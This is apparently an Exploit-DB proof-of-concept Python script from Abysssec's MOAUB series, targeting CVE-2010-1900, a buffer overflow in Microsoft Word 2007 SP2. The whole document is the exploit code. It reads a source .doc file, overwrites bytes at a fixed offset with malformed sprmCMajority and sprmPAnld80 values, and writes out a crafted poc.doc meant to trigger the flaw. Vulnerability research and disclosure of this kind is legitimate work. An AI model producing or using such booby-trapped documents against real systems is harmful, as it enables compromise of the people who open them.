'''
  __  __  ____         _    _ ____ 
 |  \/  |/ __ \   /\  | |  | |  _ \
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ <
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/
 
http://www.exploit-db.com/moaub11-microsoft-office-word-sprmcmajority-buffer-overflow/
http://www.exploit-db.com/sploits/moaub-11-exploit.zip
'''
 
'''
  Title               :  Microsoft Office Word sprmCMajority buffer overflow
  Version             :  Word 2007 SP 2
  Analysis           :  http://www.abysssec.com
  Vendor              :  http://www.microsoft.com
  Impact              :  Critical
  Contact             :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter             :  @abysssec
  CVE                 :  CVE-2010-1900
 
'''
 
import sys
 
def main():
    
    try:
        fdR = open('src.doc', 'rb+')
        strTotal = fdR.read()
        str1 = strTotal[:4082]
        str2 = strTotal[4088:]
         
        sprmCMajority = "\x47\xCA\xFF"    # sprmCMajority 
        sprmPAnld80 = "\x3E\xC6\xFF"    # sprmPAnld80
                 
        fdW= open('poc.doc', 'wb+')
        fdW.write(str1)
        fdW.write(sprmCMajority)
        fdW.write(sprmPAnld80)             
        fdW.write(str2)
         
        fdW.close()
        fdR.close()
        print '[-] Word file generated'
    except IOError:
        print '[*] Error : An IO error has occurred'
        print '[-] Exiting ...'
        sys.exit(-1)
                 
if __name__ == '__main__':
    main()